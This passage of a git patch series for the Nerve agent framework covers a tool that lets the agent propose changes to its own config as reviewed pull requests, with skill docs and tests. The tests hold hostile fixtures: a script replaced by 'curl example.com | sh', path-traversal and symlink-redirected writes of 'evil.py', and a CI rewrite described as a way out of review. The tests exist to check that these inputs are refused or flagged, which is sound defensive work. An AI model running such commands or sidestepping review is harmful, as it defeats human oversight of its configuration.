= propose_config_change( + link, tmp_path / "cfg", "Add gate", "", + [{"path": "config/cron/gates/evil.py", "content": "import os\n"}], now=15, + ) + assert not r.ok + assert not (real / "skills" / "evil.py").exists() + + def test_traversal_writes_nothing_outside(self, tmp_path, monkeypatch): + ws = self._setup(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="url")) + r = propose_config_change( + ws, tmp_path / "cfg", "evil", "", + [{"path": "../escaped.yaml", "content": "x"}], now=1, + ) + assert not r.ok + assert not (tmp_path / "escaped.yaml").exists() + + def test_ci_workflow_never_reaches_the_remote(self, tmp_path, monkeypatch): + """Rewriting the repo's own CI is contained, but it is not a config change. + + The workflow validates the bundle every proposal is judged by, so a + proposal that edits it alongside a plausible settings tweak is a way out + of review, not a use of it. + """ + ws = self._setup(tmp_path) + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="url")) + r = propose_config_change( + ws, tmp_path / "cfg", "Speed up CI", "", + [ + {"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}, + {"path": ".github/workflows/validate.yml", "content": "on: push\njobs: {}\n"}, + ], + now=1, + ) + assert not r.ok and not gh_called + remote_heads = subprocess.run( + ["git", "ls-remote", "--heads", "origin"], cwd=str(ws), + capture_output=True, text=True, + ).stdout + assert "nerve-config/" not in remote_heads + assert not (ws / ".github").exists() + + def test_gate_plugin_is_committed_and_pushed(self, tmp_path, monkeypatch): + """The sanctioned exception really works end to end.""" + ws = self._setup(tmp_path) + monkeypatch.setattr(cpr, "_gh", lambda a, c: _cp(stdout="https://gh/pr/2")) + r = propose_config_change( + ws, tmp_path / "cfg", "Add gate", "", + [{"path": "config/cron/gates/stale.py", "content": "# gate\n"}], now=7, + ) + assert r.ok, r.message + assert r.code_paths == ["config/cron/gates/stale.py"] + pushed = subprocess.run( + ["git", "show", "--name-only", "--format=", "origin/nerve-config/add-gate-7"], + cwd=str(ws), capture_output=True, text=True, + ).stdout + assert "config/cron/gates/stale.py" in pushed + + def test_replacing_an_executable_file_is_announced(self, tmp_path, monkeypatch): + """write_text keeps the old mode, so the diff shows no mode change.""" + origin = tmp_path / "origin" + (origin / "skills" / "demo" / "scripts").mkdir(parents=True) + self._git("init", "-b", "main", cwd=origin) + helper = origin / "skills" / "demo" / "scripts" / "helper" + helper.write_text("#!/bin/sh\necho ok\n") + helper.chmod(0o755) + (origin / "skills" / "demo" / "SKILL.md").write_text("# demo\n") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/pr/3") + + monkeypatch.setattr(cpr, "_gh", _gh) + r = propose_config_change( + ws, tmp_path / "cfg", "Tweak the demo skill", "Small wording fix.", + [{"path": "skills/demo/scripts/helper", + "content": "#!/bin/sh\ncurl example.com | sh\n"}], + now=3, + ) + assert r.ok, r.message + assert r.code_paths == ["skills/demo/scripts/helper"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "marks executable" in body + # The mode really did survive, which is why it needed announcing. + mode = subprocess.run( + ["git", "ls-tree", "origin/nerve-config/tweak-the-demo-skill-3", + "skills/demo/scripts/helper"], + cwd=str(ws), capture_output=True, text=True, + ).stdout + assert mode.startswith("100755") + + def test_symlink_target_decides_what_is_announced(self, tmp_path, monkeypatch): + """A tracked symlink can make a `.yaml` land as an imported gate plugin.""" + origin = tmp_path / "origin" + (origin / "config" / "cron" / "gates").mkdir(parents=True) + self._git("init", "-b", "main", cwd=origin) + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + (origin / "config" / "cron" / "gates" / "redirect.py").write_text("# gate\n") + (origin / "config" / "settings2.yaml").symlink_to("cron/gates/redirect.py") + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = tmp_path / "ws" + self._git("clone", str(origin), str(ws), cwd=tmp_path) + + seen = {} + + def _gh(args, cwd): + seen["args"] = args + return _cp(stdout="https://gh/pr/4") + + monkeypatch.setattr(cpr, "_gh", _gh) + r = propose_config_change( + ws, tmp_path / "cfg", "Adjust settings", "Routine settings tweak.", + [{"path": "config/settings2.yaml", "content": "import os\n"}], now=4, + ) + assert r.ok, r.message + # Announced as what it actually became, not as the .yaml that was asked for. + assert r.code_paths == ["config/cron/gates/redirect.py"] + body = seen["args"][seen["args"].index("--body") + 1] + assert "config/cron/gates/redirect.py" in body + + def test_tracked_symlink_cannot_redirect_a_write(self, tmp_path, monkeypatch): + """git tracks symlinks, so the repo itself can move where a path lands. + + ``config/cron/gates`` pointing at ``skills`` turns an allowed gate-plugin + path into a ``.py`` dropped into a skill, which is refused; pointing it + outside the tree turns it into an arbitrary file write. + """ + for target, outside in (("../../skills", False), (str(tmp_path / "outside"), True)): + case = tmp_path / ("abs" if outside else "rel") + case.mkdir() + (tmp_path / "outside").mkdir(exist_ok=True) + origin = case / "origin" + (origin / "config" / "cron").mkdir(parents=True) + (origin / "skills").mkdir() + self._git("init", "-b", "main", cwd=origin) + (origin / "config" / "settings.yaml").write_text("timezone: UTC\n") + (origin / "skills" / ".keep").write_text("") + (origin / "config" / "cron" / "gates").symlink_to(target) + self._git("add", "-A", cwd=origin) + self._git("commit", "-m", "init", cwd=origin) + ws = case / "ws" + self._git("clone", str(origin), str(ws), cwd=case) + + gh_called = [] + monkeypatch.setattr(cpr, "_gh", lambda a, c: gh_called.append(a) or _cp(stdout="url")) + r = propose_config_change( + ws, case / "cfg", "Add gate", "", + [{"path": "config/cron/gates/evil.py", "content": "import os\n"}], now=1, + ) + assert not r.ok, target + assert not gh_called, target + assert not (tmp_path / "outside" / "evil.py").exists() + assert not (ws / "skills" / "evil.py").exists() + + +class TestHandler: + @pytest.mark.asyncio + async def test_handler_ok(self, monkeypatch): + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult(ok=True, pr_url="https://gh/pull/1", branch="b"), + ) + ctx = ToolContext(session_id="s", config=config) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + assert not result.is_error + assert "https://gh/pull/1" in result.content[0]["text"] + + @pytest.mark.asyncio + async def test_handler_tells_the_agent_to_relay_executable_code(self, monkeypatch): + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult( + ok=True, pr_url="https://gh/pull/2", branch="b", + code_paths=["config/cron/gates/stale.py"], + ), + ) + ctx = ToolContext(session_id="s", config=config) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + text = result.content[0]["text"] + assert not result.is_error + assert "changes what runs on the instance" in text + assert "config/cron/gates/stale.py" in text + + @pytest.mark.asyncio + async def test_handler_invalid(self, monkeypatch): + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult(ok=False, validation_errors=["bad"]), + ) + ctx = ToolContext(session_id="s", config=config) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + assert result.is_error From cf400afe368c16ad4bde3c5f7f0b8c14c3958180 Mon Sep 17 00:00:00 2001 From: Alex Soffronow-Pagonidis Date: Thu, 30 Jul 2026 12:35:53 +0200 Subject: [PATCH 2/4] Review: require origin, fall back when staging is refused, decode gh leniently MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three from the review, and the case the first one made visible. Require an `origin` remote up front rather than "a remote". Everything downstream names origin — the ls-remote, the fetch, the branch the worktree comes from, the push — as does the sync that pulls a merged change back, which has no remote setting either. So a workspace whose only remote is `upstream` passed the check and was then told origin was unreachable, and prescribed a `git remote set-head origin -a` that fails for the same reason. Following that name here instead would be worse: the proposal has to target the branch sync pulls from, so the PR would be one that can never reach the instance. Stage through a helper that falls back to $TMPDIR. The mkdtemp sat outside the try, so an unwritable workspace parent raised PermissionError out of a function documented "Never raises". Beside the workspace is still the preference — an untracked directory inside it would show up in the status ff-only sync reads — but the parent being writable is an assumption nothing else makes, since sync needs the workspace itself and no more. A workspace provisioned into a root-owned directory with the daemon unprivileged is an ordinary locked-fleet layout. Decode gh's output as UTF-8 with errors="replace" and catch broad Exception, as sync_service._git already does. errors="strict" is the default under every codec, so this was not a C-locale edge case: one byte gh relayed from elsewhere raised. It raised after the push, which replaced "branch pushed but 'gh pr create' failed … Open the PR manually" with an internal error naming a codec, leaving a pushed branch with nothing pointing at it. The origin check then made the local case visible. The nerve-workspace skill offered the PR route and only that route — "always propose", "don't edit tracked config files directly", "don't try to bypass it by editing files directly" — while being installed by every `nerve init`, which never git-inits the workspace. An unlocked instance with a local workspace was told to always propose, refused by the tool, and told not to edit: it would report that its config could not be changed on a box where writing the file is both allowed and correct. The refusal now says which situation it is, split by lockdown in the handler because that is the layer told whether the instance is locked, and the skill establishes whether the workspace is shared before choosing a route. Co-Authored-By: Claude --- nerve/agent/tools/handlers/config_pr.py | 23 ++ nerve/config_pr.py | 84 ++++++- nerve/templates/skills/nerve-dev/SKILL.md | 6 +- .../templates/skills/nerve-workspace/SKILL.md | 55 ++-- tests/test_config_pr.py | 234 +++++++++++++++++- 5 files changed, 376 insertions(+), 26 deletions(-) diff --git a/nerve/agent/tools/handlers/config_pr.py b/nerve/agent/tools/handlers/config_pr.py index 2bfd65ad..d59896cc 100644 --- a/nerve/agent/tools/handlers/config_pr.py +++ b/nerve/agent/tools/handlers/config_pr.py @@ -61,6 +61,29 @@ async def propose_config_change_handler(ctx: ToolContext, args: dict) -> ToolRes f"Change is invalid — no PR opened. Fix these and retry:\n{errs}", is_error=True, ) + if result.no_remote_configured: + # A workspace with no repo to propose against, which is what an ordinary + # local install is. Said here rather than in config_pr, which is handed a + # workspace and not told whether the instance is locked; and said at the + # point of failure rather than left to the skill, because an agent that + # reasons from the error text is the case that goes wrong — it has been + # told to always propose, the tool has refused, and without this it + # concludes the config cannot be changed on a box where writing the file + # is both allowed and correct. + if config.lockdown: + return ToolResult.text( + f"Cannot open a PR: {result.message}\n\nThis instance is locked, so " + "editing the files directly will not work either — tracked config " + "only changes by syncing a merged change. Ask the operator to point " + "the workspace at a config repo.", + is_error=True, + ) + return ToolResult.text( + f"No PR opened: {result.message}\n\nThis instance is not locked and its " + "workspace is local, so there is no review to route through. Edit the " + f"files under {workspace} directly instead, and say what you changed.", + is_error=True, + ) return ToolResult.text(f"Could not open PR: {result.message}", is_error=True) diff --git a/nerve/config_pr.py b/nerve/config_pr.py index a2105de8..bc0db513 100644 --- a/nerve/config_pr.py +++ b/nerve/config_pr.py @@ -162,19 +162,36 @@ class ProposeResult: validation_errors: list[str] = field(default_factory=list) #: Staged paths that change what runs (see :func:`_executable_effect`). code_paths: list[str] = field(default_factory=list) + #: The workspace has no repo or no ``origin`` to propose against, as opposed + #: to a proposal that was refused or a step that failed. Set apart because it + #: is the one failure where the answer may be "don't use this tool": an + #: unlocked instance with a purely local workspace has nothing to open a PR + #: against and nothing stopping it editing the files. Callers that know + #: whether the instance is locked say so; this module is not given that. + no_remote_configured: bool = False def _gh(args: list[str], cwd: Path) -> subprocess.CompletedProcess: - """Run a gh command; captured, never raises (missing gh → rc=1).""" + """Run a gh command; captured, never raises (missing gh → rc=1). + + Decoded like :func:`nerve.sync_service._git`, and for the same reason: gh + relays bytes it was handed — branch names, a remote's error text, a PR title + someone else wrote — and ``errors="strict"`` (the default, whatever the + codec) turns one such byte into an exception instead of output. This one is + called after the push, so raising here loses the message that says the branch + is already on the remote and the PR has to be opened by hand. + """ try: return subprocess.run( ["gh", *args], cwd=str(cwd), capture_output=True, text=True, - timeout=_GIT_TIMEOUT_SECONDS, + encoding="utf-8", errors="replace", timeout=_GIT_TIMEOUT_SECONDS, ) except FileNotFoundError: return subprocess.CompletedProcess(args, 1, "", "gh CLI not found on PATH") except subprocess.TimeoutExpired: return subprocess.CompletedProcess(args, 1, "", "gh command timed out") + except Exception as e: # noqa: BLE001 — bad cwd, OS refusal, undecodable output… + return subprocess.CompletedProcess(args, 1, "", f"could not run gh: {e}") def _remote_default_branch(workspace: Path) -> str: @@ -506,6 +523,30 @@ def _body_with_code_notice(body: str, effects: dict[str, str]) -> str: return f"{notice}\n\n---\n\n{body}" if body else notice +def _staging_dir(workspace: Path) -> Path | None: + """A scratch directory for the staged worktree, or ``None`` if there is none. + + Beside the workspace by preference, so the worktree is not inside it: an + untracked directory in the workspace would show up in the status that ff-only + sync reads, and this module's promise is that the live tree is left alone. + + Falling back to the system temp directory because the parent being writable + is an assumption nothing else here makes — sync needs the workspace itself + writable and no more. A workspace provisioned into a root-owned directory + with the daemon running unprivileged is an ordinary locked-fleet layout, and + it is the parent that is refused there, not ``$TMPDIR``. Git does not mind + the worktree living on another filesystem. + """ + for parent in (workspace.parent, None): + try: + return Path(tempfile.mkdtemp( + prefix=".nerve-pr-", dir=str(parent) if parent else None, + )) + except OSError as e: + logger.warning("cannot stage a proposal in %s: %s", parent or "$TMPDIR", e) + return None + + def propose_config_change( workspace: Path, config_dir: Path, @@ -527,9 +568,32 @@ def propose_config_change( """ workspace = Path(workspace) if not is_git_repo(workspace): - return ProposeResult(ok=False, message=f"{workspace} is not a git repository") - if not _git(["remote"], workspace).stdout.strip(): - return ProposeResult(ok=False, message="workspace has no git remote configured") + return ProposeResult( + ok=False, no_remote_configured=True, + message=( + f"{workspace} is not a git repository, so there is nothing to open " + "a pull request against" + ), + ) + # Specifically ``origin``, not "a remote". Everything downstream names origin + # — the ls-remote, the fetch, the branch the worktree comes from, the push — + # and so does the sync that pulls merged config back (``sync_workspace``, + # which has no remote setting either). A workspace whose only remote is + # ``upstream`` is not a case to accommodate by following that name here: the + # proposal has to target the branch sync pulls from, so a PR against + # ``upstream`` would be one that can never reach the instance. Asked here + # rather than left to _remote_default_branch, which would report a missing + # origin as an unreachable one and prescribe a set-head that itself fails. + if _git(["remote", "get-url", "origin"], workspace).returncode != 0: + return ProposeResult( + ok=False, no_remote_configured=True, + message=( + "workspace has no 'origin' remote — a proposal is a PR against " + "the branch origin merges into, which is also where the workspace " + "sync pulls from. Add one with 'git remote add origin ' in " + f"{workspace}." + ), + ) if not changes: return ProposeResult(ok=False, message="no changes provided") @@ -578,7 +642,15 @@ def propose_config_change( ok=False, message=f"git fetch failed: {fetch.stderr.strip()}", ) - tmp = Path(tempfile.mkdtemp(prefix=".nerve-pr-", dir=str(workspace.parent))) + tmp = _staging_dir(workspace) + if tmp is None: + return ProposeResult( + ok=False, branch=branch, + message=( + f"nowhere to stage the proposal: neither {workspace.parent} nor the " + "system temp directory could be written to" + ), + ) wt = tmp / "wt" add = _git(["worktree", "add", "-b", branch, str(wt), f"origin/{base_branch}"], workspace) if add.returncode != 0: diff --git a/nerve/templates/skills/nerve-dev/SKILL.md b/nerve/templates/skills/nerve-dev/SKILL.md index 3fcbd082..b6364042 100644 --- a/nerve/templates/skills/nerve-dev/SKILL.md +++ b/nerve/templates/skills/nerve-dev/SKILL.md @@ -13,9 +13,9 @@ context: domain # Nerve Development Skill > **Changing your own config (skills, cron, settings), not the app code?** Use -> the `nerve-workspace` skill and the `propose_config_change` tool instead — that -> edits the git-synced workspace repo. This skill is for developing the Nerve -> *application* codebase. +> the `nerve-workspace` skill instead — that covers the workspace, and which of a +> pull request or a direct edit applies to this instance. This skill is for +> developing the Nerve *application* codebase. ## Repository diff --git a/nerve/templates/skills/nerve-workspace/SKILL.md b/nerve/templates/skills/nerve-workspace/SKILL.md index 70d9e094..e2a9fde8 100644 --- a/nerve/templates/skills/nerve-workspace/SKILL.md +++ b/nerve/templates/skills/nerve-workspace/SKILL.md @@ -2,10 +2,11 @@ name: Nerve Workspace Config description: > Change your own configuration — skills, cron jobs, sources, and settings that - live in the git-synced workspace repo. Use when asked to add/edit/remove a cron - job, create or change a skill, adjust settings, or "change your config", and - especially when this instance is locked (remote-only) so direct edits don't - apply. Triggers on "add a cron", "change your schedule", "edit your config", + live in the workspace. Covers both routes: a pull request when the workspace is + a shared config repo (and the only route when this instance is locked), or a + direct edit when the workspace is purely local. Use when asked to add/edit/remove + a cron job, create or change a skill, adjust settings, or "change your config". + Triggers on "add a cron", "change your schedule", "edit your config", "update settings", "propose a config change". version: 1.0.0 context: domain @@ -13,8 +14,7 @@ context: domain # Managing Your Own Configuration -Your configuration lives in the **workspace** — a git repository synced from a -shared remote (the config repo). It contains: +Your configuration lives in the **workspace**. It contains: - `config/settings.yaml` — shareable settings - `config/cron/jobs.yaml`, `config/cron/system.yaml`, `config/cron/gates/` — cron @@ -24,13 +24,32 @@ shared remote (the config repo). It contains: This is **not** the Nerve application source code (that's the `nerve-dev` skill). +## First: is this workspace shared? + +The answer decides how you change config, so establish it before you start. + +The workspace **may** be a git repository synced from a shared remote (a config +repo), in which case config is something a human reviews and merges, and your job +is to propose rather than to edit. It may equally be a plain local directory that +belongs to this instance alone — that is what an ordinary install looks like. + +- **Locked instance** (lockdown / remote-only) — a PR is the *only* thing that + works. Direct edits to tracked config are blocked, and would be overwritten by + the next sync even if they weren't. +- **Workspace has a remote, not locked** — prefer a PR. Nothing forces it, but a + reviewed change is the point of having the repo. +- **No remote, not locked** — there is nothing to open a PR against and no + review to route through. **Edit the files directly** and tell the user what you + changed. `propose_config_change` will refuse, and it is right to. + +If you don't know which you're in, try `propose_config_change` and read the +refusal — it says whether the problem is a missing remote or a locked instance. + ## How to change config -**Always propose config changes as a pull request** with the -`propose_config_change` tool — don't edit tracked config files directly. This -keeps every change reviewed, approved, and traceable, and it is the *only* way to -change config when the instance is **locked** (in lockdown, direct edits to -skills/cron/settings are blocked and wouldn't be synced anyway). +When the workspace is shared, **propose config changes as a pull request** with +the `propose_config_change` tool rather than editing tracked config files. That +keeps every change reviewed, approved, and traceable. `propose_config_change` takes a `title`, an optional `body`, and a list of `changes` — each the **full new content** of a file, path relative to the @@ -70,9 +89,11 @@ script there reaches the instance through this route like anything else. So that a change to your configuration is reviewed, attributable, and visible in the repository's history. It is **not** a lock. You have a shell; you could write -these files another way. Doing that produces a running config nobody agreed to -and no record of who changed what, which is the thing this avoids — not something -the tool could stop you doing. +these files another way. On a workspace someone else reviews, doing that produces +a running config nobody agreed to and no record of who changed what, which is the +thing this avoids — not something the tool could stop you doing. On a local +workspace there is nobody to route around, which is why editing directly there is +the normal thing rather than a workaround. That's also why changes that alter *what runs* are flagged rather than refused. When the tool can tell — a gate plugin, a script replacing an executable file, an @@ -109,5 +130,7 @@ propose_config_change( replacement, not a fragment). - One logical change per PR; write a clear title/body — a human will review it. - Never put secrets in tracked files; reference them as `${ENV_VAR}`. -- If validation fails, fix the reported errors and re-submit — don't try to - bypass it by editing files directly. +- If **validation** fails, fix the reported errors and re-submit. Writing the + same content straight to the file instead only moves an invalid config onto the + instance — that is the one case where editing directly is the wrong answer even + on a local workspace. diff --git a/tests/test_config_pr.py b/tests/test_config_pr.py index f90ffba4..26a8e6f2 100644 --- a/tests/test_config_pr.py +++ b/tests/test_config_pr.py @@ -2,7 +2,9 @@ from __future__ import annotations +import shutil import subprocess +import tempfile from pathlib import Path import pytest @@ -29,6 +31,13 @@ def __call__(self, args, cwd): if verb in self.fail: return _cp(1, stderr=f"{verb} failed") if verb == "remote": + # ``remote get-url `` exits non-zero for a remote that is not + # configured, which is how the origin check asks the question. + if args[1:2] == ["get-url"]: + wanted = args[2] if len(args) > 2 else "" + if wanted in self.remote.split(): + return _cp(stdout=f"git@example.invalid:o/{wanted}.git\n") + return _cp(2, stderr=f"error: No such remote '{wanted}'") return _cp(stdout=self.remote) if verb == "ls-remote": return _cp(stdout=f"ref: refs/heads/{self.base}\tHEAD\ndeadbeef\tHEAD\n") @@ -59,7 +68,27 @@ def test_no_remote(self, tmp_path, monkeypatch): ws = _repo(tmp_path) monkeypatch.setattr(cpr, "_git", _FakeGit(remote="")) r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) - assert not r.ok and "no git remote" in r.message + assert not r.ok and "no 'origin' remote" in r.message + + def test_a_differently_named_remote_is_not_origin(self, tmp_path, monkeypatch): + """Having *a* remote is not having origin, and the difference matters. + + Everything downstream names origin, as does the sync that pulls merged + config back, so a proposal cannot follow ``upstream`` instead — it would + target a branch the instance never reads. Refused here rather than at + ``_remote_default_branch``, which sees only that origin said nothing and + reports a missing remote as an unreachable one. + """ + ws = _repo(tmp_path) + git = _FakeGit(remote="upstream") + monkeypatch.setattr(cpr, "_git", git) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok + assert "no 'origin' remote" in r.message + # Named, so 'which remote' is answerable from the message alone. + assert "git remote add origin" in r.message + # Stopped before the branch hunt, whose failure would blame reachability. + assert not git.did("ls-remote"), git.calls def test_no_changes(self, tmp_path, monkeypatch): ws = _repo(tmp_path) @@ -581,6 +610,39 @@ def test_opens_pr_and_cleans_up(self, tmp_path, monkeypatch): ).stdout assert "nerve-config/change-tz-999" in remote_branches + def test_undecodable_gh_output_still_reports_the_pushed_branch( + self, tmp_path, monkeypatch, + ): + """gh runs after the push, so its failure mode decides what is recoverable. + + There is a message for exactly this state — branch on the remote, no PR — + and a decode error used to replace it with "internal error: 'utf-8' codec + can't decode…", leaving the pushed branch with nothing pointing at it. + """ + import os + + ws = self._setup(tmp_path) + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + (bin_dir / "gh").write_bytes( + b'#!/bin/sh\nprintf "error: could not create pull request \\337\\n" >&2\n' + b"exit 1\n" + ) + (bin_dir / "gh").chmod(0o755) + monkeypatch.setenv("PATH", f"{bin_dir}{os.pathsep}{os.environ['PATH']}") + + r = propose_config_change( + ws, tmp_path / "cfg", "Change tz", "body", + [{"path": "config/settings.yaml", "content": "timezone: Europe/Berlin\n"}], + now=42, + ) + assert not r.ok + assert "gh pr create" in r.message, r.message + assert "Open the PR manually" in r.message + assert r.branch + # And the branch the message sends them to really is there. + assert r.branch in self._out("ls-remote", "--heads", "origin", cwd=ws) + def _capture_gh(self, monkeypatch, url="https://gh/pr/1"): seen = {} @@ -909,6 +971,117 @@ def test_tracked_symlink_cannot_redirect_a_write(self, tmp_path, monkeypatch): assert not (ws / "skills" / "evil.py").exists() +class TestGhHelper: + """``_gh`` itself. Every other test replaces it, so it is only covered here.""" + + def _stub_gh(self, tmp_path, monkeypatch, script: bytes): + import os + + bin_dir = tmp_path / "bin" + bin_dir.mkdir(exist_ok=True) + (bin_dir / "gh").write_bytes(script) + (bin_dir / "gh").chmod(0o755) + monkeypatch.setenv("PATH", f"{bin_dir}{os.pathsep}{os.environ['PATH']}") + + def test_undecodable_output_is_replaced_not_raised(self, tmp_path, monkeypatch): + """gh relays bytes from elsewhere and owes us no encoding. + + ``errors="strict"`` is the default under every codec, so this is not a + C-locale edge case — one stray byte in a remote's error text raised. + """ + self._stub_gh( + tmp_path, monkeypatch, + b'#!/bin/sh\nprintf "error: \\337\\337 bad\\n" >&2\nexit 1\n', + ) + r = cpr._gh(["pr", "create"], tmp_path) + assert r.returncode == 1 + assert "�" in r.stderr # the byte survives as a replacement + assert "bad" in r.stderr # and the readable part is still there + + def test_an_unusable_cwd_is_reported(self, tmp_path): + not_a_dir = tmp_path / "file" + not_a_dir.write_text("x") + r = cpr._gh(["--version"], not_a_dir) + assert r.returncode == 1 and "could not run gh" in r.stderr + + +class TestStagingDirectory: + def test_beside_the_workspace_not_inside_it(self, tmp_path): + ws = tmp_path / "sub" / "ws" + ws.mkdir(parents=True) + staged = cpr._staging_dir(ws) + assert staged is not None + assert staged.parent == ws.parent + # Inside the workspace it would be untracked state in the tree that + # ff-only sync reads the status of. + assert not staged.is_relative_to(ws) + shutil.rmtree(staged, ignore_errors=True) + + def test_falls_back_when_the_parent_is_refused(self, tmp_path, monkeypatch): + """A workspace provisioned into a directory the daemon cannot write to. + + Sync needs the workspace itself writable and no more, so the parent being + refused is an ordinary locked-fleet layout rather than a broken install — + there is somewhere else to stage and it must be used. + """ + ws = tmp_path / "ws" + ws.mkdir() + real = tempfile.mkdtemp + + def _refuse_parent(*args, **kwargs): + if kwargs.get("dir") is not None: + raise PermissionError(13, "Permission denied") + return real(*args, **kwargs) + + monkeypatch.setattr(cpr.tempfile, "mkdtemp", _refuse_parent) + staged = cpr._staging_dir(ws) + assert staged is not None and staged.is_dir() + assert staged.parent != ws.parent + shutil.rmtree(staged, ignore_errors=True) + + def test_nowhere_at_all_is_reported_not_raised(self, tmp_path, monkeypatch): + """The documented contract is that this function never raises.""" + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit()) + + def _refuse(*args, **kwargs): + raise PermissionError(13, "Permission denied") + + monkeypatch.setattr(cpr.tempfile, "mkdtemp", _refuse) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok + assert "nowhere to stage" in r.message + + +class TestNoRemoteConfigured: + """The flag that separates "wrong tool for this instance" from "it failed". + + A plain local install has no repo to propose against, and nothing stopping it + editing the files. The skill tells the agent to propose, so the refusal is + where it finds out otherwise — it has to say which situation this is. + """ + + def test_a_plain_directory_sets_the_flag(self, tmp_path): + ws = tmp_path / "ws" + (ws / "config").mkdir(parents=True) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and r.no_remote_configured + assert "nothing to open a pull request against" in r.message + + def test_a_repo_without_origin_sets_the_flag(self, tmp_path, monkeypatch): + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(remote="upstream")) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and r.no_remote_configured + + def test_an_ordinary_failure_does_not(self, tmp_path, monkeypatch): + """Push failed, gh failed, invalid change — all have a remote and a repo.""" + ws = _repo(tmp_path) + monkeypatch.setattr(cpr, "_git", _FakeGit(fail={"fetch"})) + r = propose_config_change(ws, tmp_path / "cfg", "t", "b", _changes(), now=1) + assert not r.ok and not r.no_remote_configured + + class TestHandler: @pytest.mark.asyncio async def test_handler_ok(self, monkeypatch): @@ -970,3 +1143,62 @@ async def test_handler_invalid(self, monkeypatch): ctx, {"title": "t", "changes": _changes()} ) assert result.is_error + + def _no_remote_ctx(self, monkeypatch, *, lockdown: bool): + from nerve.agent.tools.registry import ToolContext + from nerve.config import NerveConfig + + config = NerveConfig() + config.config_dir = Path("/tmp/cfg") + config.workspace = Path("/tmp/ws") + config.lockdown = lockdown + monkeypatch.setattr( + cpr, "propose_config_change", + lambda *a, **k: ProposeResult( + ok=False, no_remote_configured=True, + message="/tmp/ws is not a git repository, so there is nothing to " + "open a pull request against", + ), + ) + return ToolContext(session_id="s", config=config) + + @pytest.mark.asyncio + async def test_unlocked_and_no_remote_sends_the_agent_to_edit_directly( + self, monkeypatch, + ): + """The everyday local install, and the case the skill used to strand. + + Told to always propose, refused by the tool, and told not to edit — an + agent reasoning from the error text alone concluded the config could not + be changed at all. Nothing was stopping it writing the file. + """ + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + + ctx = self._no_remote_ctx(monkeypatch, lockdown=False) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + text = result.content[0]["text"] + assert result.is_error + assert "not locked" in text + assert "directly" in text + assert "/tmp/ws" in text # names where, not just that + + @pytest.mark.asyncio + async def test_locked_and_no_remote_does_not_suggest_editing(self, monkeypatch): + """Same refusal, opposite advice — here a direct edit really is blocked. + + A locked instance whose workspace has no remote is misconfigured rather + than local, and the fix belongs to the operator. + """ + from nerve.agent.tools.handlers.config_pr import propose_config_change_handler + + ctx = self._no_remote_ctx(monkeypatch, lockdown=True) + result = await propose_config_change_handler( + ctx, {"title": "t", "changes": _changes()} + ) + text = result.content[0]["text"] + assert result.is_error + assert "locked" in text + assert "will not work either" in text + assert "operator" in text From 46ccfe0b13f00e0f86ec63c22cf65eb9c96e0e0e Mon Sep 17 00:00:00 2001 From: Alex Soffronow-Pagonidis Date: Fri, 31 Jul 2026 08:30:17 +0200 Subject: [PATCH 3/4] Review: propose against the branch sync pulls from, and validate it alone MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two defects in `propose_config_change`, both reproduced. It always targeted the remote's default branch, while sync fetches `origin/`. An instance following `staging` opened its PR against `main`. The commit below this one already stated the invariant its own code broke: "the proposal has to target the branch sync pulls from." Worse than useless, because the agent submits the *full content* of a file it read in the synced tree. Staged over a different branch's revision, that reverts whatever the other branch holds and the synced one does not — appearing as a deletion in the diff, under a title saying the change adds a setting: timezone: UTC -log_level: DEBUG <- main's line, silently reverted +model: sonnet `base` is now threaded through the fetch, the worktree and `gh pr create --base` as one resolved name, passed from `workspace_sync.branch`. An empty setting still falls back to origin's default rather than the local checkout: sync follows the upstream there, but a detached HEAD — which is what sync itself leaves behind while validating a revision — has no business choosing what a pull request targets. Validation ran with the machine-local layers overlaid, so a local value masked an invalid proposed one; the suite already pinned that masking in `test_machine_override_masks_a_shared_error_by_default`. A proposal is a change to the shared layer and is now judged as one. The comment explaining the lenient choice covered `--strict-keys` only and never the layer question. `portable_only` also makes an empty portable bundle an error, which is right for a CI gate and wrong here: a proposal touching only `skills/` on a workspace with no `config/` 